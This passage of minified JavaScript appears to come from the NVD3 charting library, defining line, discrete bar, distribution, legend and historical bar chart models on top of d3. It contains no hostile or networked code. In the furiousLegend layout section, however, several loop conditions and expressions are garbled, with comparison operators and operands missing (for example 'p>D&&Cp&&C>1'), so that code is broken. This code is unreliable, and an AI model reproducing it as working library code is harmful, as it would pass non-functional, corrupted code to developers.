rect").on("click",function(){G.x=d3.mouse(this)[0],G.i=Math.round(F.invert(G.x)),y.index=G.i,C.stateChange(y),K()}),f.dispatch.on("elementClick",function(a){G.i=a.pointIndex,G.x=F(G.i),y.index=G.i,C.stateChange(y),K()}),j.dispatch.on("legendClick",function(a){a.disabled=!a.disabled,w=!a.disabled,y.rescaleY=w,C.stateChange(y),b.update()}),i.dispatch.on("stateChange",function(a){for(var c in a)y[c]=a[c];C.stateChange(y),b.update()}),k.dispatch.on("elementMousemove",function(c){f.clearHighlights();var d,e,i,j=[];if(l.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(g,h){e=a.interactiveBisect(g.values,c.pointXValue,b.x()),f.highlightPoint(h,e,!0);var k=g.values[e];"undefined"!=typeof k&&("undefined"==typeof d&&(d=k),"undefined"==typeof i&&(i=b.xScale()(b.x()(k,e))),j.push({key:g.key,value:b.y()(k,e),color:n(g,g.seriesIndex)}))}),j.length>2){var o=b.yScale().invert(c.mouseY),p=Math.abs(b.yScale().domain()[0]-b.yScale().domain()[1]),q=.03*p,r=a.nearestValueIndex(j.map(function(a){return a.value}),o,q);null!==r&&(j[r].highlight=!0)}var s=g.tickFormat()(b.x()(d,e),e);k.tooltip.position({left:i+m.left,top:c.mouseY+m.top}).chartContainer(M.parentNode).valueFormatter(function(a){return h.tickFormat()(a)}).data({value:s,series:j})(),k.renderGuideLine(i)}),k.dispatch.on("elementMouseout",function(){f.clearHighlights()}),C.on("changeState",function(a){"undefined"!=typeof a.disabled&&(l.forEach(function(b,c){b.disabled=a.disabled[c]}),y.disabled=a.disabled),"undefined"!=typeof a.index&&(G.i=a.index,G.x=F(G.i),y.index=a.index,bb.data([G])),"undefined"!=typeof a.rescaleY&&(w=a.rescaleY),b.update()})}),H.renderEnd("cumulativeLineChart immediate"),b}function c(a,b){return K||(K=f.y()),b.map(function(b){if(!b.values)return b;var c=b.values[a];if(null==c)return b;var d=K(c,a);return-.95>d&&!E?(b.tempDisabled=!0,b):(b.tempDisabled=!1,b.values=b.values.map(function(a,b){return a.display={y:(K(a,b)-d)/(1+d)},a}),b)})}var d,e,f=a.models.line(),g=a.models.axis(),h=a.models.axis(),i=a.models.legend(),j=a.models.legend(),k=a.interactiveGuideline(),l=a.models.tooltip(),m={top:30,right:30,bottom:50,left:60},n=a.utils.defaultColor(),o=null,p=null,q=!0,r=!0,s=!0,t=!1,u=!0,v=!1,w=!0,x=f.id(),y=a.utils.state(),z=null,A=null,B=function(a){return a.average},C=d3.dispatch("stateChange","changeState","renderEnd"),D=250,E=!1;y.index=0,y.rescaleY=w,g.orient("bottom").tickPadding(7),h.orient(t?"right":"left"),l.valueFormatter(function(a,b){return h.tickFormat()(a,b)}).headerFormatter(function(a,b){return g.tickFormat()(a,b)}),j.updateState(!1);var F=d3.scale.linear(),G={i:0,x:0},H=a.utils.renderWatch(C,D),I=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),index:G.i,rescaleY:w}}},J=function(a){return function(b){void 0!==b.index&&(G.i=b.index),void 0!==b.rescaleY&&(w=b.rescaleY),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};f.dispatch.on("elementMouseover.tooltip",function(a){var c={x:b.x()(a.point),y:b.y()(a.point),color:a.point.color};a.point=c,l.data(a).position(a.pos).hidden(!1)}),f.dispatch.on("elementMouseout.tooltip",function(){l.hidden(!0)});var K=null;return b.dispatch=C,b.lines=f,b.legend=i,b.controls=j,b.xAxis=g,b.yAxis=h,b.interactiveLayer=k,b.state=y,b.tooltip=l,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return o},set:function(a){o=a}},height:{get:function(){return p},set:function(a){p=a}},rescaleY:{get:function(){return w},set:function(a){w=a}},showControls:{get:function(){return u},set:function(a){u=a}},showLegend:{get:function(){return q},set:function(a){q=a}},average:{get:function(){return B},set:function(a){B=a}},defaultState:{get:function(){return z},set:function(a){z=a}},noData:{get:function(){return A},set:function(a){A=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},noErrorCheck:{get:function(){return E},set:function(a){E=a}},tooltips:{get:function(){return l.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),l.enabled(!!b)}},tooltipContent:{get:function(){return l.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),l.contentGenerator(b)}},margin:{get:function(){return m},set:function(a){m.top=void 0!==a.top?a.top:m.top,m.right=void 0!==a.right?a.right:m.right,m.bottom=void 0!==a.bottom?a.bottom:m.bottom,m.left=void 0!==a.left?a.left:m.left}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),i.color(n)}},useInteractiveGuideline:{get:function(){return v},set:function(a){v=a,a===!0&&(b.interactive(!1),b.useVoronoi(!1))}},rightAlignYAxis:{get:function(){return t},set:function(a){t=a,h.orient(a?"right":"left")}},duration:{get:function(){return D},set:function(a){D=a,f.duration(D),g.duration(D),h.duration(D),H.reset(D)}}}),a.utils.inheritOptions(b,f),a.utils.initOptions(b),b},a.models.discreteBar=function(){"use strict";function b(m){return y.reset(),m.each(function(b){var m=k-j.left-j.right,x=l-j.top-j.bottom;c=d3.select(this),a.utils.initSVG(c),b.forEach(function(a,b){a.values.forEach(function(a){a.series=b})});var z=d&&e?[]:b.map(function(a){return a.values.map(function(a,b){return{x:p(a,b),y:q(a,b),y0:a.y0}})});n.domain(d||d3.merge(z).map(function(a){return a.x})).rangeBands(f||[0,m],.1),o.domain(e||d3.extent(d3.merge(z).map(function(a){return a.y}).concat(r))),o.range(t?g||[x-(o.domain()[0]<0?12:0),o.domain()[1]>0?12:0]:g||[x,0]),h=h||n,i=i||o.copy().range([o(0),o(0)]);{var A=c.selectAll("g.nv-wrap.nv-discretebar").data([b]),B=A.enter().append("g").attr("class","nvd3 nv-wrap nv-discretebar"),C=B.append("g");A.select("g")}C.append("g").attr("class","nv-groups"),A.attr("transform","translate("+j.left+","+j.top+")");var D=A.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a){return a.key});D.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6),D.exit().watchTransition(y,"discreteBar: exit groups").style("stroke-opacity",1e-6).style("fill-opacity",1e-6).remove(),D.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}),D.watchTransition(y,"discreteBar: groups").style("stroke-opacity",1).style("fill-opacity",.75);var E=D.selectAll("g.nv-bar").data(function(a){return a.values});E.exit().remove();var F=E.enter().append("g").attr("transform",function(a,b){return"translate("+(n(p(a,b))+.05*n.rangeBand())+", "+o(0)+")"}).on("mouseover",function(a,b){d3.select(this).classed("hover",!0),v.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),v.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mousemove",function(a,b){v.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){v.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}).on("dblclick",function(a,b){v.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()});F.append("rect").attr("height",0).attr("width",.9*n.rangeBand()/b.length),t?(F.append("text").attr("text-anchor","middle"),E.select("text").text(function(a,b){return u(q(a,b))}).watchTransition(y,"discreteBar: bars text").attr("x",.9*n.rangeBand()/2).attr("y",function(a,b){return q(a,b)<0?o(q(a,b))-o(0)+12:-4})):E.selectAll("text").remove(),E.attr("class",function(a,b){return q(a,b)<0?"nv-bar negative":"nv-bar positive"}).style("fill",function(a,b){return a.color||s(a,b)}).style("stroke",function(a,b){return a.color||s(a,b)}).select("rect").attr("class",w).watchTransition(y,"discreteBar: bars rect").attr("width",.9*n.rangeBand()/b.length),E.watchTransition(y,"discreteBar: bars").attr("transform",function(a,b){var c=n(p(a,b))+.05*n.rangeBand(),d=q(a,b)<0?o(0):o(0)-o(q(a,b))<1?o(0)-1:o(q(a,b));return"translate("+c+", "+d+")"}).select("rect").attr("height",function(a,b){return Math.max(Math.abs(o(q(a,b))-o(e&&e[0]||0))||1)}),h=n.copy(),i=o.copy()}),y.renderEnd("discreteBar immediate"),b}var c,d,e,f,g,h,i,j={top:0,right:0,bottom:0,left:0},k=960,l=500,m=Math.floor(1e4*Math.random()),n=d3.scale.ordinal(),o=d3.scale.linear(),p=function(a){return a.x},q=function(a){return a.y},r=[0],s=a.utils.defaultColor(),t=!1,u=d3.format(",.2f"),v=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),w="discreteBar",x=250,y=a.utils.renderWatch(v,x);return b.dispatch=v,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},forceY:{get:function(){return r},set:function(a){r=a}},showValues:{get:function(){return t},set:function(a){t=a}},x:{get:function(){return p},set:function(a){p=a}},y:{get:function(){return q},set:function(a){q=a}},xScale:{get:function(){return n},set:function(a){n=a}},yScale:{get:function(){return o},set:function(a){o=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},valueFormat:{get:function(){return u},set:function(a){u=a}},id:{get:function(){return m},set:function(a){m=a}},rectClass:{get:function(){return w},set:function(a){w=a}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},color:{get:function(){return s},set:function(b){s=a.utils.getColor(b)}},duration:{get:function(){return x},set:function(a){x=a,y.reset(x)}}}),a.utils.initOptions(b),b},a.models.discreteBarChart=function(){"use strict";function b(h){return t.reset(),t.models(e),m&&t.models(f),n&&t.models(g),h.each(function(h){var l=d3.select(this);a.utils.initSVG(l);var q=a.utils.availableWidth(j,l,i),t=a.utils.availableHeight(k,l,i);if(b.update=function(){r.beforeUpdate(),l.transition().duration(s).call(b)},b.container=this,!(h&&h.length&&h.filter(function(a){return a.values.length}).length))return a.utils.noData(b,l),b;l.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale().clamp(!0);var u=l.selectAll("g.nv-wrap.nv-discreteBarWithAxes").data([h]),v=u.enter().append("g").attr("class","nvd3 nv-wrap nv-discreteBarWithAxes").append("g"),w=v.append("defs"),x=u.select("g");v.append("g").attr("class","nv-x nv-axis"),v.append("g").attr("class","nv-y nv-axis").append("g").attr("class","nv-zeroLine").append("line"),v.append("g").attr("class","nv-barsWrap"),x.attr("transform","translate("+i.left+","+i.top+")"),o&&x.select(".nv-y.nv-axis").attr("transform","translate("+q+",0)"),e.width(q).height(t);var y=x.select(".nv-barsWrap").datum(h.filter(function(a){return!a.disabled}));if(y.transition().call(e),w.append("clipPath").attr("id","nv-x-label-clip-"+e.id()).append("rect"),x.select("#nv-x-label-clip-"+e.id()+" rect").attr("width",c.rangeBand()*(p?2:1)).attr("height",16).attr("x",-c.rangeBand()/(p?1:2)),m){f.scale(c)._ticks(a.utils.calcTicksX(q/100,h)).tickSize(-t,0),x.select(".nv-x.nv-axis").attr("transform","translate(0,"+(d.range()[0]+(e.showValues()&&d.domain()[0]<0?16:0))+")"),x.select(".nv-x.nv-axis").call(f); var z=x.select(".nv-x.nv-axis").selectAll("g");p&&z.selectAll("text").attr("transform",function(a,b,c){return"translate(0,"+(c%2==0?"5":"17")+")"})}n&&(g.scale(d)._ticks(a.utils.calcTicksY(t/36,h)).tickSize(-q,0),x.select(".nv-y.nv-axis").call(g)),x.select(".nv-zeroLine line").attr("x1",0).attr("x2",q).attr("y1",d(0)).attr("y2",d(0))}),t.renderEnd("discreteBar chart immediate"),b}var c,d,e=a.models.discreteBar(),f=a.models.axis(),g=a.models.axis(),h=a.models.tooltip(),i={top:15,right:10,bottom:50,left:60},j=null,k=null,l=a.utils.getColor(),m=!0,n=!0,o=!1,p=!1,q=null,r=d3.dispatch("beforeUpdate","renderEnd"),s=250;f.orient("bottom").showMaxMin(!1).tickFormat(function(a){return a}),g.orient(o?"right":"left").tickFormat(d3.format(",.1f")),h.duration(0).headerEnabled(!1).valueFormatter(function(a,b){return g.tickFormat()(a,b)}).keyFormatter(function(a,b){return f.tickFormat()(a,b)});var t=a.utils.renderWatch(r,s);return e.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:b.x()(a.data),value:b.y()(a.data),color:a.color},h.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){h.hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){h.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=r,b.discretebar=e,b.xAxis=f,b.yAxis=g,b.tooltip=h,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return j},set:function(a){j=a}},height:{get:function(){return k},set:function(a){k=a}},staggerLabels:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return m},set:function(a){m=a}},showYAxis:{get:function(){return n},set:function(a){n=a}},noData:{get:function(){return q},set:function(a){q=a}},tooltips:{get:function(){return h.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),h.enabled(!!b)}},tooltipContent:{get:function(){return h.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),h.contentGenerator(b)}},margin:{get:function(){return i},set:function(a){i.top=void 0!==a.top?a.top:i.top,i.right=void 0!==a.right?a.right:i.right,i.bottom=void 0!==a.bottom?a.bottom:i.bottom,i.left=void 0!==a.left?a.left:i.left}},duration:{get:function(){return s},set:function(a){s=a,t.reset(s),e.duration(s),f.duration(s),g.duration(s)}},color:{get:function(){return l},set:function(b){l=a.utils.getColor(b),e.color(l)}},rightAlignYAxis:{get:function(){return o},set:function(a){o=a,g.orient(a?"right":"left")}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.distribution=function(){"use strict";function b(k){return m.reset(),k.each(function(b){var k=(e-("x"===g?d.left+d.right:d.top+d.bottom),"x"==g?"y":"x"),l=d3.select(this);a.utils.initSVG(l),c=c||j;var n=l.selectAll("g.nv-distribution").data([b]),o=n.enter().append("g").attr("class","nvd3 nv-distribution"),p=(o.append("g"),n.select("g"));n.attr("transform","translate("+d.left+","+d.top+")");var q=p.selectAll("g.nv-dist").data(function(a){return a},function(a){return a.key});q.enter().append("g"),q.attr("class",function(a,b){return"nv-dist nv-series-"+b}).style("stroke",function(a,b){return i(a,b)});var r=q.selectAll("line.nv-dist"+g).data(function(a){return a.values});r.enter().append("line").attr(g+"1",function(a,b){return c(h(a,b))}).attr(g+"2",function(a,b){return c(h(a,b))}),m.transition(q.exit().selectAll("line.nv-dist"+g),"dist exit").attr(g+"1",function(a,b){return j(h(a,b))}).attr(g+"2",function(a,b){return j(h(a,b))}).style("stroke-opacity",0).remove(),r.attr("class",function(a,b){return"nv-dist"+g+" nv-dist"+g+"-"+b}).attr(k+"1",0).attr(k+"2",f),m.transition(r,"dist").attr(g+"1",function(a,b){return j(h(a,b))}).attr(g+"2",function(a,b){return j(h(a,b))}),c=j.copy()}),m.renderEnd("distribution immediate"),b}var c,d={top:0,right:0,bottom:0,left:0},e=400,f=8,g="x",h=function(a){return a[g]},i=a.utils.defaultColor(),j=d3.scale.linear(),k=250,l=d3.dispatch("renderEnd"),m=a.utils.renderWatch(l,k);return b.options=a.utils.optionsFunc.bind(b),b.dispatch=l,b.margin=function(a){return arguments.length?(d.top="undefined"!=typeof a.top?a.top:d.top,d.right="undefined"!=typeof a.right?a.right:d.right,d.bottom="undefined"!=typeof a.bottom?a.bottom:d.bottom,d.left="undefined"!=typeof a.left?a.left:d.left,b):d},b.width=function(a){return arguments.length?(e=a,b):e},b.axis=function(a){return arguments.length?(g=a,b):g},b.size=function(a){return arguments.length?(f=a,b):f},b.getData=function(a){return arguments.length?(h=d3.functor(a),b):h},b.scale=function(a){return arguments.length?(j=a,b):j},b.color=function(c){return arguments.length?(i=a.utils.getColor(c),b):i},b.duration=function(a){return arguments.length?(k=a,m.reset(k),b):k},b},a.models.furiousLegend=function(){"use strict";function b(p){function q(a,b){return"furious"!=o?"#000":m?a.disengaged?g(a,b):"#fff":m?void 0:a.disabled?g(a,b):"#fff"}function r(a,b){return m&&"furious"==o?a.disengaged?"#fff":g(a,b):a.disabled?"#fff":g(a,b)}return p.each(function(b){var p=d-c.left-c.right,s=d3.select(this);a.utils.initSVG(s);var t=s.selectAll("g.nv-legend").data([b]),u=(t.enter().append("g").attr("class","nvd3 nv-legend").append("g"),t.select("g"));t.attr("transform","translate("+c.left+","+c.top+")");var v,w=u.selectAll(".nv-series").data(function(a){return"furious"!=o?a:a.filter(function(a){return m?!0:!a.disengaged})}),x=w.enter().append("g").attr("class","nv-series");if("classic"==o)x.append("circle").style("stroke-width",2).attr("class","nv-legend-symbol").attr("r",5),v=w.select("circle");else if("furious"==o){x.append("rect").style("stroke-width",2).attr("class","nv-legend-symbol").attr("rx",3).attr("ry",3),v=w.select("rect"),x.append("g").attr("class","nv-check-box").property("innerHTML",'').attr("transform","translate(-10,-8)scale(0.5)");var y=w.select(".nv-check-box");y.each(function(a,b){d3.select(this).selectAll("path").attr("stroke",q(a,b))})}x.append("text").attr("text-anchor","start").attr("class","nv-legend-text").attr("dy",".32em").attr("dx","8");var z=w.select("text.nv-legend-text");w.on("mouseover",function(a,b){n.legendMouseover(a,b)}).on("mouseout",function(a,b){n.legendMouseout(a,b)}).on("click",function(a,b){n.legendClick(a,b);var c=w.data();if(k){if("classic"==o)l?(c.forEach(function(a){a.disabled=!0}),a.disabled=!1):(a.disabled=!a.disabled,c.every(function(a){return a.disabled})&&c.forEach(function(a){a.disabled=!1}));else if("furious"==o)if(m)a.disengaged=!a.disengaged,a.userDisabled=void 0==a.userDisabled?!!a.disabled:a.userDisabled,a.disabled=a.disengaged||a.userDisabled;else if(!m){a.disabled=!a.disabled,a.userDisabled=a.disabled;var d=c.filter(function(a){return!a.disengaged});d.every(function(a){return a.userDisabled})&&c.forEach(function(a){a.disabled=a.userDisabled=!1})}n.stateChange({disabled:c.map(function(a){return!!a.disabled}),disengaged:c.map(function(a){return!!a.disengaged})})}}).on("dblclick",function(a,b){if(("furious"!=o||!m)&&(n.legendDblclick(a,b),k)){var c=w.data();c.forEach(function(a){a.disabled=!0,"furious"==o&&(a.userDisabled=a.disabled)}),a.disabled=!1,"furious"==o&&(a.userDisabled=a.disabled),n.stateChange({disabled:c.map(function(a){return!!a.disabled})})}}),w.classed("nv-disabled",function(a){return a.userDisabled}),w.exit().remove(),z.attr("fill",q).text(f);var A;switch(o){case"furious":A=23;break;case"classic":A=20}if(h){var B=[];w.each(function(){var b,c=d3.select(this).select("text");try{if(b=c.node().getComputedTextLength(),0>=b)throw Error()}catch(d){b=a.utils.calcApproxTextWidth(c)}B.push(b+i)});for(var C=0,D=0,E=[];p>D&&Cp&&C>1;){E=[],C--;for(var F=0;F(E[F%C]||0)&&(E[F%C]=B[F]);D=E.reduce(function(a,b){return a+b})}for(var G=[],H=0,I=0;C>H;H++)G[H]=I,I+=E[H];w.attr("transform",function(a,b){return"translate("+G[b%C]+","+(5+Math.floor(b/C)*A)+")"}),j?u.attr("transform","translate("+(d-c.right-D)+","+c.top+")"):u.attr("transform","translate(0,"+c.top+")"),e=c.top+c.bottom+Math.ceil(B.length/C)*A}else{var J,K=5,L=5,M=0;w.attr("transform",function(){var a=d3.select(this).select("text").node().getComputedTextLength()+i;return J=L,dM&&(M=L),"translate("+J+","+K+")"}),u.attr("transform","translate("+(d-c.right-M)+","+c.top+")"),e=c.top+c.bottom+K+15}"furious"==o&&v.attr("width",function(a,b){return z[0][b].getComputedTextLength()+27}).attr("height",18).attr("y",-9).attr("x",-15),v.style("fill",r).style("stroke",function(a,b){return a.color||g(a,b)})}),b}var c={top:5,right:0,bottom:5,left:0},d=400,e=20,f=function(a){return a.key},g=a.utils.getColor(),h=!0,i=28,j=!0,k=!0,l=!1,m=!1,n=d3.dispatch("legendClick","legendDblclick","legendMouseover","legendMouseout","stateChange"),o="classic";return b.dispatch=n,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},key:{get:function(){return f},set:function(a){f=a}},align:{get:function(){return h},set:function(a){h=a}},rightAlign:{get:function(){return j},set:function(a){j=a}},padding:{get:function(){return i},set:function(a){i=a}},updateState:{get:function(){return k},set:function(a){k=a}},radioButtonMode:{get:function(){return l},set:function(a){l=a}},expanded:{get:function(){return m},set:function(a){m=a}},vers:{get:function(){return o},set:function(a){o=a}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},color:{get:function(){return g},set:function(b){g=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.historicalBar=function(){"use strict";function b(x){return x.each(function(b){w.reset(),k=d3.select(this);var x=a.utils.availableWidth(h,k,g),y=a.utils.availableHeight(i,k,g);a.utils.initSVG(k),l.domain(c||d3.extent(b[0].values.map(n).concat(p))),l.range(r?e||[.5*x/b[0].values.length,x*(b[0].values.length-.5)/b[0].values.length]:e||[0,x]),m.domain(d||d3.extent(b[0].values.map(o).concat(q))).range(f||[y,0]),l.domain()[0]===l.domain()[1]&&l.domain(l.domain()[0]?[l.domain()[0]-.01*l.domain()[0],l.domain()[1]+.01*l.domain()[1]]:[-1,1]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]+.01*m.domain()[0],m.domain()[1]-.01*m.domain()[1]]:[-1,1]);var z=k.selectAll("g.nv-wrap.nv-historicalBar-"+j).data([b[0].values]),A=z.enter().append("g").attr("class","nvd3 nv-wrap nv-historicalBar-"+j),B=A.append("defs"),C=A.append("g"),D=z.select("g");C.append("g").attr("class","nv-bars"),z.attr("transform","translate("+g.left+","+g.top+")"),k.on("click",function(a,b){u.chartClick({data:a,index:b,pos:d3.event,id:j})}),B.append("clipPath").attr("id","nv-chart-clip-path-"+j).append("rect"),z.select("#nv-chart-clip-path-"+j+" rect").attr("width",x).attr("height",y),D.attr("clip-path",s?"url(#nv-chart-clip-path-"+j+")":"");var E=z.select(".nv-bars").selectAll(".nv-bar").data(function(a){return a},function(a,b){return n(a,b)});E.exit().remove(),E.enter().append("rect").attr("x",0).attr("y",function(b,c){return a.utils.NaNtoZero(m(Math.max(0,o(b,c))))}).attr("height",function(b,c){return a.utils.NaNtoZero(Math.abs(m(o(b,c))-m(0)))}).attr("transform",function(a,c){return"translate("+(l(n(a,c))-x/b[0].values.length*.45)+",0)"}).on("mouseover",function(a,b){v&&(d3.select(this).classed("hover",!0),u.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")}))}).on("mouseout",function(a,b){v&&(d3.select(this).classed("hover",!1),u.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")}))}).on("mousemove",function(a,b){v&&u.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){v&&(u.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation())}).on("dblclick",function(a,b){v&&(u.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation())}),E.attr("fill",function(a,b){return t(a,b)}).attr("class",function(a,b,c){return(o(a,b)<0?"nv-bar negative":"nv-bar positive")+" nv-bar-"+c+"-"+b}).watchTransition(w,"bars").attr("transform",function(a,c){return"translate("+(l(n(a,c))-x/b[0].values.length*.45)+",0)"}).attr("width",x/b[0].values.length*.9),E.watchTransition(w,"bars").attr("y",function(b,c){var d=o(b,c)<0?m(0):m(0)-m(o(b,c))<1?m(0)-1:m(o(b,c));return a.utils.NaNtoZero(d)}).attr("height",function(b,c){return a.utils.NaNtoZero(Math.max(Math.abs(m(o(b,c))-m(0)),1))})}),w.renderEnd("historicalBar immediate"),b}var c,d,e,f,g={top:0,right:0,bottom:0,left:0},h=null,i=null,j=Math.floor(1e4*Math.random()),k=null,l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=[],q=[0],r=!1,s=!0,t=a.utils.defaultColor(),u=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),v=!0,w=a.utils.renderWatch(u,0);return b.highlightPoint=function(a,b){k.select(".nv-bars .nv-bar-0-"+a).classed("hover",b)},b.clearHighlights=function(){k.select(".nv-bars .nv-bar.hover").classed("hover",!1)},b.dispatch=u,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},forceX:{get:function(){return p},set:function(a){p=a}},forceY:{get:function(){return q},set:function(a){q=a}},padData:{get:function(){return r},set:function(a){r=a}},x:{get:function(){return n},set:function(a){n=a}},y:{get:function(){return o},set:function(a){o=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},clipEdge:{get:function(){return s},set:function(a){s=a}},id:{get:function(){return j},set:function(a){j=a}},interactive:{get:function(){return v},set:function(a){v=a}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},color:{get:function(){return t},set:function(b){t=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.historicalBarChart=function(b){"use strict";function c(b){return b.each(function(k){z.reset(),z.models(f),q&&z.models(g),r&&z.models(h);var w=d3.select(this),A=this;a.utils.initSVG(w);var B=a.utils.availableWidth(n,w,l),C=a.utils.availableHeight(o,w,l);if(c.update=function(){w.transition().duration(y).call(c)},c.container=this,u.disabled=k.map(function(a){return!!a.disabled}),!v){var D;v={};for(D in u)v[D]=u[D]instanceof Array?u[D].slice(0):u[D]}if(!(k&&k.length&&k.filter(function(a){return a.values.length}).length))return a.utils.noData(c,w),c;w.selectAll(".nv-noData").remove(),d=f.xScale(),e=f.yScale();var E=w.selectAll("g.nv-wrap.nv-historicalBarChart").data([k]),F=E.enter().append("g").attr("class","nvd3 nv-wrap nv-historicalBarChart").append("g"),G=E.select("g");F.append("g").attr("class","nv-x nv-axis"),F.append("g").attr("class","nv-y nv-axis"),F.append("g").attr("class","nv-barsWrap"),F.append("g").attr("class","nv-legendWrap"),F.append("g").attr("class","nv-interactive"),p&&(i.width(B),G.select(".nv-legendWrap").datum(k).call(i),l.top!=i.height()&&(l.top=i.height(),C=a.utils.availableHeight(o,w,l)),E.select(".nv-legendWrap").attr("transform","translate(0,"+-l.top+")")),E.attr("transform","translate("+l.left+","+l.top+")"),s&&G.select(".nv-y.nv-axis").attr("transform","translate("+B+",0)"),t&&(j.width(B).height(C).margin({left:l.left,top:l.top}).svgContainer(w).xScale(d),E.select(".nv-interactive").call(j)),f.width(B).height(C).color(k.map(function(a,b){return a.color||m(a,b)}).filter(function(a,b){return!k[b].disabled}));var H=G.select(".nv-barsWrap").datum(k.filter(function(a){return!a.disabled}));H.transition().call(f),q&&(g.scale(d)._ticks(a.utils.calcTicksX(B/100,k)).tickSize(-C,0),G.select(".nv-x.nv-axis").attr("transform","translate(0,"+e.range()[0]+")"),G.select(".nv-x.nv-axis").transition().call(g)),r&&(h.scale(e)._ticks(a.utils.calcTicksY(C/36,k)).tickSize(-B,0),G.select(".nv-y.nv-axis").transition().call(h)),j.dispatch.on("elementMousemove",function(b){f.clearHighlights();var d,e,i,n=[];k.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(g){e=a.interactiveBisect(g.values,b.pointXValue,c.x()),f.highlightPoint(e,!0);var h=g.values[e];void 0!==h&&(void 0===d&&(d=h),void 0===i&&(i=c.xScale()(c.x()(h,e))),n.push({key:g.key,value:c.y()(h,e),color:m(g,g.seriesIndex),data:g.values[e]}))});var o=g.tickFormat()(c.x()(d,e));j.tooltip.position({left:i+l.left,top:b.mouseY+l.top}).chartContainer(A.parentNode).valueFormatter(function(a){return h.tickFormat()(a)}).data({value:o,index:e,series:n})(),j.renderGuideLine(i)}),j.dispatch.on("elementMouseout",function(){x.tooltipHide(),f.clearHighlights()}),i.dispatch.on("legendClick",function(a){a.disabled=!a.disabled,k.filter(function(a){return!a.disabled}).length||k.map(function(a){return a.disabled=!1,E.selectAll(".nv-series").classed("disabled",!1),a}),u.disabled=k.map(function(a){return!!a.disabled}),x.stateChange(u),b.transition().call(c)}),i.dispatch.on("legendDblclick",function(a){k.forEach(function(a){a.disabled=!0}),a.disabled=!1,u.disabled=k.map(function(a){return!!a.disabled}),x.stateChange(u),c.update()}),x.on("changeState",function(a){"undefined"!=typeof a.disabled&&(k.forEach(function(b,c){b.disabled=a.disabled[c]}),u.disabled=a.disabled),c.update()})}),z.renderEnd("historicalBarChart immediate"),c}var 